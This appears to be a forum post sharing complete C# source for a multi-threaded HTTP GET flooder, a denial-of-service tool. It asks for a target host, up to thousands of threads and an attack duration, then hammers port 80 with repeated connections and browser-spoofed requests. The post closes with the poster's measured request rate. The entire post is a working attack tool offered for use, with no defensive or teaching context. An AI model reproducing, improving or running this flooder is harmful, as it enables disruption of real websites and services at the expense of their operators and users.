multi threads http get flooder using tcp socket

multi threads http get flooder using tcp socket
Kyxrecon

Code:
using System.Threading;
using System.Net;
using System.Net.Sockets;

class Program
    {
      static bool run = true;
      static string GETrequest = "";
      static string host = "";
      static string hostt = "";
      static int counter = 0;
      static int threads = 0;
      static int ttm = 0;
      static int endttm = 0;
      static void Main(string[] args)
      {
      Console.Title = "HTTP Flooder";
      Console.ForegroundColor = ConsoleColor.White;
      Console.WriteLine("-- MultiThreads HTTP Flooder by SpaieN --\n");
      Console.Write("Host ( E.g: google.com ) : ");
      host = Console.ReadLine();
      hostt = Dns.GetHostAddresses(host)[0].ToString();
      GETrequest = "GET / HTTP/1.1\r\nHost: " + host + "\r\nConnection: keep-alive\r\nAccept: text/html\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36\r\n\r\n";

      Console.Write("\nProgram Threads ( 5 <> 5000 ) : ");
      threads = int.Parse(Console.ReadLine());

      Console.Write("\nAttack time-seconds : ");
      int atm = int.Parse(Console.ReadLine());
      endttm = atm;

      Console.WriteLine("\nbuilding program Threads");
      for (int i = 0; i <= threads; i++)
      {
      new Thread(new ThreadStart(HTTPRequest)).Start();
      }
      new Thread(() => TimeCounter(atm)).Start();
      Console.WriteLine("#{0} Threads loaded", threads);
      Thread.Sleep(2000);

      while (run)
      {
      Thread.Sleep(30);
      Console.Clear();
      Console.WriteLine("#{0} HTTP Requests sent", counter);
      Console.WriteLine("#{0} Seconds for closing", endttm);
      }

      }

      static void HTTPRequest()
      {
      try
      {
      while (true)
      {
      Thread.Sleep(10);
      Socket socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
      socket.Connect(hostt, 80);
      socket.Send(Encoding.ASCII.GetBytes(GETrequest));
      socket.Close();
      counter++;
      }
      }

      catch { }
      }

      static void TimeCounter(int tt)
      {
      try
      {
      while (true)
      {
      Thread.Sleep(950);
      ttm++;
      endttm--;
      if (ttm >= tt) // program closing
      {
      run = false;
      Thread.Sleep(500);
      Environment.Exit(0);
      }
      }
      }

      catch { }
      }
    }

---------------------------
my dstat result:
200 Threads & 50MB Internet speed = 130 Requests / sec